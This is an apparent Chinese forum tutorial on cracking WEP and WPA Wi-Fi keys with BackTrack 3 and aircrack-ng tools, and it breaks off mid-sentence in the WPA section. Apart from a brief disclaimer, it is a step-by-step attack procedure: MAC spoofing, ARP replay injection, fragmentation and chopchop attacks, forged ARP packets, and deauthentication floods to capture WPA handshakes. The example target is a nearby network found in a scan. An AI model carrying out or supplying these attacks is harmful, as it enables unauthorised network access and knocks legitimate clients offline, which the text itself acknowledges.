搜索
中国无线门户David98出品AnywhereWLAN!!1BT3破解无线WEP/WPA教程中国无线门户David98出品AnywhereWLAN!!2声明：任何不经别人同意而进入别人网络都是非法和不道德的行为。本教程用于学习和交流，如要实验请拿自已的AP开刀！！题记：本人是中国无线门户“David98”，首先感谢版主longas还有像liyg、hrb011011、wifi和小草等众多热心坛友的支持。无线安全版块一直是本坛一个特殊而重要的版块，本版高手如云，各类无线破解教程纷呈，但一直缺乏一个系统、全面而可理解和学习的教程。我根据各位坛友的教程和自己的理解整理编辑成这篇《BT3破解无线WEP/WPA教程》。由于本人也是初学者，缺乏专业的理论知识，因此文中不免存在理解的偏差甚至错误，希望各位朋友指正。最后希望更多的朋友参与到教程的整理和编辑中，不断把教程修正和完善。对无线WEP和WPA破解有兴趣的朋友也可加入QQ群:14121760一起交流。谢谢！！David9808年5月22日中国无线门户David98出品AnywhereWLAN!!3WEP破解1．装备：IMBX60笔记本（内置Intel3945无线网卡）、BT3的U盘系统（需用syslinux命令来指定启动BT3的盘符）2．用户名：root密码：toor，进入图形界面：startx。启动BT3后,(启动黑屏：xconf再输入startx)3．加载3945网卡的驱动。打开一个shell输入modprobe–riwl3945输入modprobeipwraw注：不同的网卡有不同的加载方式4．查找目标：用Airoscript命令（Backtrack/radionetworkanalysis/80211/all/Aioscript）的扫描功能连续三次都选择1发现5个，有4个加密，data都是0，开放的netgear那个AP有一个客户端。PWR值一般看出信号强度。也可以用airodump-ngwifi0来搜索我们选择第一个作为目标，channel为11（上图中的CH代表信道）。中国无线门户David98出品AnywhereWLAN!!4注：修改自己网卡的MAC地址的命令。输入macchanger–m00:11:22:33:44:55wifi05．激活网卡的Monitor模式并工作在11信道。（加载网卡，激活监听模式，工作在11信道）输入airmon-ngstartwifi011也可用iwconfiwifi0来查看网卡的工作模式和工作信道。可用aireplay-ng--testwifi0来测试是否可以注入中国无线门户David98出品AnywhereWLAN!!56．输入截取数据包命令（截取11信道的ivs数据包，并保存名为name.ivs）输入命令airodump-ng--ivs-wname-c11wifi0，（--ivs：仅截取ivs数据包，-w：写入文件，-c：截取ivs的信道）（其中name是获取的ivs的保存文件的名字，11是channel值，你根据实际修改）一.有客户端WEP破解1．有客户端，且合法客户端产生大量有效的数据，能直接获得大量IVS。思路：1-6步同上7．直接用aircrack-ng破解第七步：aircrack-ng-n64-bapmacname-01.ivs中国无线门户David98出品AnywhereWLAN!!62．有客户端，合法客户端只能产生少量ivs数据，就需要注入攻击加速产生大量ivs。只要有少量的数据就可能获得arp请求包，则可用arp注入模式的-3模式通过不断向AP发送同样的arp请求包，来进行注入式攻击。思路：1-6步同上7．用aireplay-ng的arp注入方式获得大量的ivs第七步：aireplay-ng-3-bapmac-h合法客户端macwifi0注：这一步可能时间会长一点，因为需要等到ARP。中国无线门户David98出品AnywhereWLAN!!73．有客户端，但是客户端根本不在通信，不能产生ARP包。-3注入模式不成功思路：1-6步同上7．-0冲突模式强制断开合法客户端和ap连接，使之重新连接8．利用-0冲突模式重新连接所产生的握手数据让-3获得有效的ARP从而完成ARP注入第七步：aireplay-ng-3-bapmac-h合法客户端macwifi0第八步：aireplay-ng-010–aapmac-c合法客户端macwifi0中国无线门户David98出品AnywhereWLAN!!84．有客户端，并且客户端能产生有效arp数据的另类破解方式前面的步骤一样：输入modprobe–riwl3945输入modprobeipwraw输入airmon-ngstartwifi011现在，只要一个命令就搞定，输入:输入wesside-ng-iwifi0-v01:02:03:04:05:06(此格式的APMAC)。很简单吧，密码出来了。中国无线门户David98出品AnywhereWLAN!!9二．无客户端WEP破解思路：1-6步同上因为是无客户端，所以第一步就需要和AP之间建立一个虚拟连接。这是非常关键的一步。为让AP接受数据包，必须使自己的网卡和AP关联。如果没有关联的话，目标AP将忽略所有从你网卡发送的数据包，IVS数据将不会产生。第七步：输入aireplay-ng-10-eapessid-aapmac-hmacwifi0如果回显虚拟伪装连接不成功，不能成功的原因很多，具体有如下几种：1、目标AP做了MAC地址过滤2、你离目标AP物理距离太远3、对方使用了WPA加密5、网卡、AP可能不兼容,网卡没有使用和AP一样的工作频道注：有时候删除-eessid可以成功连接也可以使用命令tcpdump来确认网卡是否已经连接到目标AP上tcpdump-n-e-s0-vvv-iwifi0中国无线门户David98出品AnywhereWLAN!!101．第一种破解方式：思路：1-7步同上建立虚拟连接后直接用-2交互攻击模式，这个模式集合了抓包和提取数据，发攻击包三种能力。第八步：抓包，提数据和发包攻击aireplay-ng-2-p0841-cff:ff:ff:ff:ff:ff-bapmac-hmymacwifi0发包成功后可得到足够的ivs，然后用aircrack-ng破解。成功后如上图截获了一个可以直接进行注入的数据包，并回显Usethispacket，按y然后开始发包攻击，date飞快涨。当获得足够的ivs以后就可破解了。中国无线门户David98出品AnywhereWLAN!!112．第二种破解方式：思路：1-7步同上第八步：利用-5碎片攻击模式获得一个可用的包含密钥是数据文件（xor文件）第九步：然后通过数据包制造程序Packetforge-ng提取xor文件中的PRGA伪造一个arp包，第十步：最后利用交互式攻击模式-2发包攻击。第八步：采用碎片包攻击模式-5，获得一个PRGA数据包（xor文件）。输入aireplay-ng-5-bapmac-hmymacwifi0如顺利，将得到一个可利用的数据包如上图，系统将回显Usethispacket?输入y回车，将得到一个至关重要的xor文件。再输入ls查看当前目录，你将看到刚才生成的一个后缀名为xor的文件。中国无线门户David98出品AnywhereWLAN!!12第九步：用数据包制造程序packetforge-ng将上面获得的xor数据包伪造成可利用的ARP注入包。输入packetforge-ng-0-aapmac-hmymac-k255.255.255.255–l255.255.255.255-yname-xor-wmyarp参数说明：-y（filename）是用来读取PRGA的文件-w（filename）将arp包写入文件，我用的文件名是myarp系统回显：Wrotepacketto:mrarp中国无线门户David98出品AnywhereWLAN!!13第十步：采用交互模式-2，发包注入攻击。输入aireplay-ng-2–rmyarp-x256rausb0【-r】：从指定文件中读取arp数据包【-x】：定义每秒发送的数据包数量。为避免网卡死机，可选择256，最高不超过1024输入y回车攻击开始中国无线门户David98出品AnywhereWLAN!!14这时，前面的抓包窗口上的data将迅速增加。到数据增加到1.5万以上时。第十一步：采用aircrack-ng来进行破解中国无线门户David98出品AnywhereWLAN!!153．第三种破解方式：思路：1-7步同上第八步：利用-4的Chopchop攻击模式获得一个可用的包含密钥数据文件（xor文件）第九步：通过数据包制造程序Packetforge-ng提取xor文件中的PRGA伪造一个arp包第十步：最后利用交互式攻击模式-2发包攻击。第八步：采用-4的Chopchop攻击模式获得一个包含密钥数据的xor文件输入aireplay-ng-4-bapmac-hmymacwifi0参数说明：-b：设置需要破解的AP的mac-h：设置用于连接的无线网卡的mac（自己网卡）顺利将得到一个可利用的数据包，按y将利用此数据包生产一个xor文件如上图所示得到一个名为replay_dec-0523-075615的xor文件，中国无线门户David98出品AnywhereWLAN!!16第九步：通过数据包制造程序Packetforge-ng提取上面xor文件来伪造一个arp包输入packetforge-ng-0-aapmac-hmymac-k255.255.255.255–l255.255.255.255-yname-xor-wmyarp如上图，成功生成一个名为myarp的可用来注入的arp数据包。第十步：最后利用交互式攻击模式-2发包攻击。输入aireplay-ng-2-rmyarprausb0发现了可利用的myarp的数据包，按y后，立刻注入攻击。Date疯涨中国无线门户David98出品AnywhereWLAN!!17破解WPA1、加载无线网卡驱动2、设置网卡为在指定的ap的工作频道的监控模式这两部与前面相同3、输入截取数据包命令（截取11信道的cap数据包，并保存名为12345.cap）输入命令airodump-ng-w12345-c11wifi0，（-w：写入文件，-c：截取cap的信道）（其中12345是获取的cap的保存文件的名字，11是channel值，你根据实际修改。）回车后可以看到是WPA-TIKP-PSK加密方式中国无线门户David98出品AnywhereWLAN!!184、进行-0的Deauth验证攻击这里为了便于WPA握手验证包的获取，必须进行Deauth验证攻击，这个对于采用WPA验证的AP攻击都会用到，可以迫使AP重新与已连接的合法客户端进行握手验证，重新握手验证过程中获得验证数据包。输入：aireplay-ng-010-aapmacwifi0或者输入：aireplay-ng-010-aapmac-cmymacwifi0解释：-0指的是采取Deautenticate攻击方式，后面为发送次数。-c建议还是使用，效果会更好，这个后面跟的是监测到的合法的已连接的客户端MAC地址，如上图中显示的。这里注意，Deauth攻击往往并不是一次攻击就成功，为确保成功截获需要反复进行，需要说明的是，攻击期间很可能会导致该AP的其它无线客户端无法正常上网即断网频繁，而且对于一些低端AP可能会导致其无线功能假死，无法ping通，需重起。是否获得包含WPA握手验证包的Cap文件，需要在破解时进行验证，以上Deauth攻击几次后可以做破解尝试。WPA破解不用等到数据Data达到几万，因为它只要一个包含WPA握手验证包就可以了，通过上面的方法我们已经获得破解WPA所需的cap文